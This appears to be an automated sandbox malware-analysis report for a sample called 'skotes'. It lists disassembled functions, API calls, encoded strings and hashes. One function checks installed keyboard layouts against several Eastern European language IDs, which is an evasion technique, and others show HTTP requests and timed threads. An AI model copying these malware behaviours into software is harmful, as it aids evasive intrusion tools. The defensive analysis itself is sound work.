Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$?]&$$?]&$$?]&$$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-2113737466
Opcode ID: 2850a1bdf832289d25110efcd3bc83f19a1be1de7a21f4761480bde214e49aca
Instruction ID: a94e0472f5d6fdbd55832ae63856de3334680fbe8f3ce17f217883a5c4bd594f
Opcode Fuzzy Hash: 2850a1bdf832289d25110efcd3bc83f19a1be1de7a21f4761480bde214e49aca
Instruction Fuzzy Hash: 3BB1C2B1A10218ABDB24CF28CC85B9EBBB9EF45304F504299F509972D1DB719AC4CBB5

Function 00D06020 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00D0617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00D06271

Strings

00000419, xrefs: 00D06098
Keyboard Layout\Preload, xrefs: 00D06054
?]&$, xrefs: 00D05DB8, 00D05E00, 00D05DF4, 00D05DC5, 00D05EE0
?]&$, xrefs: 00D059F4, 00D05C24, 00D05D67, 00D05EE6, 00D0603B, 00D065F7, 00D070AC
0000043f, xrefs: 00D0612B
00000422, xrefs: 00D060C9
00000423, xrefs: 00D060FA

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$?]&$$?]&$$Keyboard Layout\Preload
API String ID: 2571532894-457135308
Opcode ID: dd41428dd787b49378ae59bcfe8380f81742936861a39a1fb678c5c8b3bafaac
Instruction ID: e752720637ec232b38a35094c0eee8d21af2e22e00403a617ae0559744c11034
Opcode Fuzzy Hash: dd41428dd787b49378ae59bcfe8380f81742936861a39a1fb678c5c8b3bafaac
Instruction Fuzzy Hash: 14B1AF71900268ABDB24DB54CC89BDEB7B9EF05340F5402D9E508E72D1DB749BE88FA4

Function 00D07D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D07ED3

Strings

?]&$, xrefs: 00D07D5B
JjsrPl==, xrefs: 00D0828A
JjsrQV==, xrefs: 00D08092
JjssOl==, xrefs: 00D0813A
JjssPV==, xrefs: 00D081E2

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: ?]&$$JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-4144991310
Opcode ID: 9afc8d9482e026b0ce4b95c64cc7a25034bb909fec02b7acc7f048dc8f858068
Instruction ID: e27ceb3cf6311255747f37e36b3f15e92be947f26d3936beb65164dcac3dd121
Opcode Fuzzy Hash: 9afc8d9482e026b0ce4b95c64cc7a25034bb909fec02b7acc7f048dc8f858068
Instruction Fuzzy Hash: B4E1FA70E006449BDB14BB68DC0B3AE7B71EB81710F544298E859AB3C2DF755E848BF6

Function 00D41ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D41775: CreateFileW.KERNEL32(00000000,00000000,?,00D41B65,?,?,00000000,?,00D41B65,00000000,0000000C), ref: 00D41792

__dosmaperr.LIBCMT ref: 00D41BD7
GetFileType.KERNEL32(00000000), ref: 00D41BE3
__dosmaperr.LIBCMT ref: 00D41BF6
__dosmaperr.LIBCMT ref: 00D41D9C

Strings

H, xrefs: 00D41D21

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 2152cd61eadce747a456bc7bf9cf66bdea5160bffb53c2d48e4a7921cefc8bbd
Instruction ID: e4b80a654a34b06b5d0e663b5a8940d882ff7fb30abc14acc37363db0d6b0128
Opcode Fuzzy Hash: 2152cd61eadce747a456bc7bf9cf66bdea5160bffb53c2d48e4a7921cefc8bbd
Instruction Fuzzy Hash: A4A13636A442598FCF199F68CC92BAE7BA1EB07320F180199E851EB3D1D7758C52CB71

Function 00D07590 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,24265D3F,?,00000000,00D49138,000000FF), ref: 00D075CC
CreateThread.KERNEL32(00000000,00000000,00D07430,00D68638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00D076BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D076C9

Part of subcall function 00D1D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00D1D17B

Strings

?]&$, xrefs: 00D075A2

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID: ?]&$
API String ID: 79123409-313912829
Opcode ID: 9ae4e8ec3249b913d7e626a571661a7383764ab247c0a2a7ca76ee90a48554dd
Instruction ID: ca9da24672077e234b2f09856e69fadf64a74e6a27ecc470577c73088be6e1ec
Opcode Fuzzy Hash: 9ae4e8ec3249b913d7e626a571661a7383764ab247c0a2a7ca76ee90a48554dd
Instruction Fuzzy Hash: 5D51D170640248AFEB14CF68DC85B9D3BA2EB45304F544619F8199B3E1CBBAE4849BB1

Function 00D36FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D36EE6), ref: 00D36FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00D37030
__dosmaperr.LIBCMT ref: 00D370C5

Part of subcall function 00D3732A: __dosmaperr.LIBCMT ref: 00D3735F

Strings

?]&$, xrefs: 00D36FBC

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
